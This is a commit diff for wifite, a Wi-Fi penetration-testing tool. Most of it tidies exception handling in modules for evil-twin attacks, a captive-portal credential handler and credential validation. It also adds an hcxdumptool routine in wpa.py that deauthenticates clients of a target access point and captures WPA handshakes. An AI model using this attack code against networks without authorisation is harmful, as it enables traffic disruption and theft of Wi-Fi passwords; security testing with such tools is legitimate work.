Skip to content

Commit 658c544

Browse files
committed
process: improve cleanup + improve exceptions
1 parent 71c5336 commit 658c544

File tree

9 files changed

+251
-52
lines changed

9 files changed

+251
-52
lines changed

wifite/attack/eviltwin.py

Lines changed: 4 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -206,13 +206,12 @@ def _get_interface_assignment(self):
206206

207207
# Try to get assignment from wifite instance if available
208208
# This is a fallback for when the attack is run directly
209-
try:
209+
import contextlib
210+
with contextlib.suppress(ImportError, AttributeError):
210211
from ..wifite import Wifite
211212
# Note: This is a fallback and may not always work
212213
# The preferred approach is to set interface_assignment before calling run()
213214
log_debug('EvilTwin', 'No interface assignment available, will use single interface mode')
214-
except:
215-
pass
216215

217216
return None
218217

@@ -520,13 +519,12 @@ def _start_deauth_dual(self, interface: str) -> bool:
520519

521520
# Verify interface is on the correct channel
522521
if hasattr(self.target, 'channel') and self.target.channel:
523-
try:
522+
import contextlib
523+
with contextlib.suppress(Exception):
524524
current_channel = Airmon.get_interface_channel(interface)
525525
if current_channel and current_channel != self.target.channel:
526526
log_warning('EvilTwin', f'Deauth interface on channel {current_channel}, target on {self.target.channel}')
527527
Color.pl('{!} {O}Warning: Channel mismatch - deauth may be less effective{W}')
528-
except:
529-
pass
530528

531529
# Deauth will be handled by the adaptive deauth manager
532530
# in the main monitoring loop via _handle_deauth()

wifite/attack/portal/credential_handler.py

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@
1010
import time
1111
import threading
1212
from typing import Optional, Callable, Dict, List, Tuple
13-
from queue import Queue, Empty
13+
from queue import Queue, Empty, Full
1414
from dataclasses import dataclass
1515
from datetime import datetime
1616

@@ -165,7 +165,7 @@ def submit_credentials(self, ssid: str, password: str, client_ip: str) -> Tuple[
165165

166166
return True, 'Credentials submitted for validation'
167167

168-
except:
168+
except Full:
169169
log_error('CredentialHandler', 'Validation queue is full')
170170
return False, 'Server is busy. Please try again later.'
171171

wifite/attack/portal/server.py

Lines changed: 2 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -714,10 +714,9 @@ def get_cached_static(self, filename: str) -> Optional[tuple]:
714714

715715
def __del__(self):
716716
"""Cleanup on deletion."""
717-
try:
717+
import contextlib
718+
with contextlib.suppress(Exception):
718719
self.stop()
719720
# Clear caches to free memory
720721
self._template_cache.clear()
721722
self._static_cache.clear()
722-
except:
723-
pass

wifite/attack/wpa.py

Lines changed: 178 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -395,13 +395,12 @@ def _run_dual_interface(self):
395395
self.view.add_log(f"Error: {str(e)}")
396396

397397
# Try to cleanup interfaces
398-
try:
398+
import contextlib
399+
with contextlib.suppress(Exception):
399400
if self.capture_interface:
400401
Airmon.stop(self.capture_interface)
401402
if self.deauth_interface:
402403
Airmon.stop(self.deauth_interface)
403-
except:
404-
pass
405404

406405
return None
407406

@@ -976,8 +975,184 @@ def _capture_handshake_dual_hcxdump(self):
976975

977976
return handshake
978977

978+
def _capture_handshake_single_hcxdump(self):
979+
"""
980+
Capture handshake using single interface mode with hcxdumptool.
981+
982+
Uses hcxdumptool's built-in deauth capabilities for a single interface,
983+
creating .pcapng files that work better with modern cracking tools.
984+
985+
Returns:
986+
Handshake object if captured, None otherwise
987+
"""
988+
from ..tools.hcxdumptool import HcxDumpTool
989+
from ..util.logger import log_info, log_debug, log_error
990+
991+
handshake = None
992+
993+
# Try to load existing handshake first
994+
if not Configuration.ignore_old_handshakes:
995+
bssid = self.target.bssid
996+
essid = self.target.essid if self.target.essid_known else None
997+
handshake = self.load_handshake(bssid=bssid, essid=essid)
998+
if handshake:
999+
Color.pattack('WPA', self.target, 'Handshake capture',
1000+
'found {G}existing handshake{W} for {C}%s{W}' % handshake.essid)
1001+
Color.pl('\n{+} Using handshake from {C}%s{W}' % handshake.capfile)
1002+
return handshake
1003+
1004+
# Configure output file
1005+
output_file = Configuration.temp('hcxdump_single.pcapng')
1006+
1007+
# Configure deauth based on PMF
1008+
pmf_required = hasattr(self.target, 'pmf_required') and self.target.pmf_required
1009+
1010+
# Start capture with hcxdumptool
1011+
with HcxDumpTool(interface=Configuration.interface,
1012+
channel=self.target.channel,
1013+
target_bssid=self.target.bssid,
1014+
output_file=output_file,
1015+
enable_deauth=True, # Use hcxdumptool's built-in deauth
1016+
pmf_required=pmf_required) as hcxdump:
1017+
1018+
Color.clear_entire_line()
1019+
Color.pattack('WPA', self.target, 'Handshake capture',
1020+
'Starting hcxdumptool [HCX]...')
1021+
1022+
log_info('AttackWPA', f'hcxdumptool capture started on {Configuration.interface}')
1023+
1024+
if self.view:
1025+
self.view.add_log('hcxdumptool capture started')
1026+
1027+
# Initialize timers
1028+
timeout_timer = Timer(Configuration.wpa_attack_timeout)
1029+
1030+
while handshake is None and not timeout_timer.ended():
1031+
step_timer = Timer(1)
1032+
1033+
# Update TUI view if available
1034+
if self.view:
1035+
self.view.refresh_if_needed()
1036+
self.view.update_progress({
1037+
'status': f'Listening for handshake [HCX]',
1038+
'metrics': {
1039+
'Mode': 'HCX (hcxdumptool)',
1040+
'Interface': Configuration.interface,
1041+
'Timeout': str(timeout_timer),
1042+
'Deauth': 'Built-in' if not pmf_required else 'Disabled (PMF)'
1043+
}
1044+
})
1045+
1046+
Color.clear_entire_line()
1047+
Color.pattack('WPA',
1048+
self.target,
1049+
'Handshake capture',
1050+
'Listening [HCX]. (timeout:{R}%s{W})' % timeout_timer)
1051+
1052+
# Check if hcxdumptool is still running
1053+
if not hcxdump.is_running():
1054+
log_error('AttackWPA', 'hcxdumptool process died unexpectedly during capture')
1055+
Color.pl('\n{!} {R}hcxdumptool process died unexpectedly{W}')
1056+
Color.pl('{!} {O}Check interface and permissions{W}')
1057+
if self.view:
1058+
self.view.add_log('hcxdumptool process died unexpectedly')
1059+
return None
1060+
1061+
# Check if capture file has data
1062+
if not hcxdump.has_captured_data():
1063+
# No data yet, wait
1064+
time.sleep(step_timer.remaining())
1065+
continue
1066+
1067+
# Check for handshake in the capture file
1068+
bssid = self.target.bssid
1069+
essid = self.target.essid if self.target.essid_known else None
1070+
1071+
log_debug('AttackWPA', f'Checking for handshake in hcxdumptool capture (BSSID: {bssid})')
1072+
1073+
handshake = Handshake(output_file, bssid=bssid, essid=essid)
1074+
if handshake.has_handshake():
1075+
# We got a handshake
1076+
log_info('AttackWPA', f'Handshake captured successfully for {bssid} [HCX]')
1077+
1078+
Color.clear_entire_line()
1079+
Color.pattack('WPA',
1080+
self.target,
1081+
'Handshake capture',
1082+
'{G}Captured handshake{W} [HCX]')
1083+
Color.pl('')
1084+
1085+
# Update TUI view
1086+
if self.view:
1087+
self.view.add_log('Captured handshake!')
1088+
self.view.update_progress({
1089+
'status': 'Handshake captured successfully',
1090+
'progress': 1.0,
1091+
'metrics': {
1092+
'Handshake': '✓',
1093+
'Mode': 'HCX (hcxdumptool)',
1094+
'Interface': Configuration.interface
1095+
}
1096+
})
1097+
1098+
# Upload to wpa-sec if configured
1099+
if WpaSecUploader.should_upload():
1100+
# hcxdumptool creates .pcapng files which may contain SAE handshakes
1101+
capture_type = 'sae' if handshake.capfile.endswith('.pcapng') else 'handshake'
1102+
if self.view:
1103+
self.view.add_log("Checking wpa-sec upload configuration...")
1104+
WpaSecUploader.upload_capture(
1105+
handshake.capfile,
1106+
self.target.bssid,
1107+
self.target.essid,
1108+
capture_type=capture_type,
1109+
view=self.view
1110+
)
1111+
1112+
break
1113+
1114+
# No handshake yet
1115+
handshake = None
1116+
1117+
time.sleep(step_timer.remaining())
1118+
1119+
if handshake is None:
1120+
Color.pl('\n{!} {O}WPA handshake capture {R}FAILED:{O} Timed out after %d seconds' % (
1121+
Configuration.wpa_attack_timeout))
1122+
else:
1123+
# Save copy of handshake
1124+
self.save_handshake(handshake)
1125+
1126+
return handshake
1127+
9791128
def capture_handshake(self):
9801129
"""Returns captured or stored handshake, otherwise None."""
1130+
# Check if hcxdump mode is requested for single interface
1131+
if Configuration.use_hcxdump:
1132+
from ..tools.hcxdumptool import HcxDumpTool
1133+
from ..util.logger import log_info, log_warning, log_debug
1134+
1135+
log_debug('AttackWPA', 'Checking hcxdumptool availability for single interface mode')
1136+
1137+
# Check if hcxdumptool is available
1138+
if not HcxDumpTool.exists():
1139+
log_warning('AttackWPA', 'hcxdumptool not found, falling back to airodump-ng')
1140+
Color.pl('{!} {O}hcxdumptool not found, falling back to airodump-ng{W}')
1141+
elif not HcxDumpTool.check_minimum_version('6.2.0'):
1142+
current_version = HcxDumpTool.check_version()
1143+
log_warning('AttackWPA', f'hcxdumptool version {current_version} is insufficient (need 6.2.0+), falling back to airodump-ng')
1144+
Color.pl('{!} {O}hcxdumptool version {R}%s{O} is insufficient (need 6.2.0+){W}' % (current_version or 'unknown'))
1145+
Color.pl('{!} {O}Falling back to airodump-ng{W}')
1146+
else:
1147+
# Use hcxdumptool for single interface capture
1148+
log_info('AttackWPA', 'Using hcxdumptool for single interface capture')
1149+
Color.pl('{+} {G}Using hcxdumptool for single interface capture{W}')
1150+
if self.view:
1151+
self.view.add_log('Using hcxdumptool mode for capture')
1152+
self.view.set_attack_type("WPA Handshake Capture [HCX]")
1153+
return self._capture_handshake_single_hcxdump()
1154+
1155+
# Default: use airodump-ng
9811156
handshake = None
9821157

9831158
# First, start Airodump process

wifite/tools/aireplay.py

Lines changed: 2 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -534,10 +534,9 @@ def stop(self):
534534

535535
# Stop any running process
536536
if self.process and self.process.poll() is None:
537-
try:
537+
import contextlib
538+
with contextlib.suppress(Exception):
538539
self.process.interrupt()
539-
except:
540-
pass
541540

542541
# Wait for thread to finish
543542
if self.is_alive():

wifite/tools/dnsmasq.py

Lines changed: 2 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -422,7 +422,6 @@ def get_client_info(self, mac_address: str) -> Optional[dict]:
422422

423423
def __del__(self):
424424
"""Cleanup on deletion."""
425-
try:
425+
import contextlib
426+
with contextlib.suppress(Exception):
426427
self.cleanup()
427-
except:
428-
pass

wifite/util/credential_validator.py

Lines changed: 7 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -208,19 +208,19 @@ def validate_credentials(self, ssid: str, password: str, timeout=30) -> Tuple[bo
208208
log_info('CredentialValidator', f'Valid credentials for {ssid} (connected)')
209209
break
210210

211-
except:
212-
pass
211+
except Exception as e:
212+
# Log unexpected errors but continue polling
213+
log_debug('CredentialValidator', f'Error reading wpa_supplicant output: {e}')
213214

214215
time.sleep(poll_interval)
215216

216217
# Stop process
217-
try:
218+
import contextlib
219+
with contextlib.suppress(Exception):
218220
process.interrupt()
219221
time.sleep(0.5)
220222
if process.poll() is None:
221223
process.kill()
222-
except:
223-
pass
224224

225225
# Update statistics and rate limiting state
226226
self.total_validations += 1
@@ -613,7 +613,6 @@ def clear_cache(self):
613613

614614
def __del__(self):
615615
"""Cleanup on deletion."""
616-
try:
616+
import contextlib
617+
with contextlib.suppress(Exception):
617618
self.stop()
618-
except:
619-
pass

0 commit comments

Comments
 (0)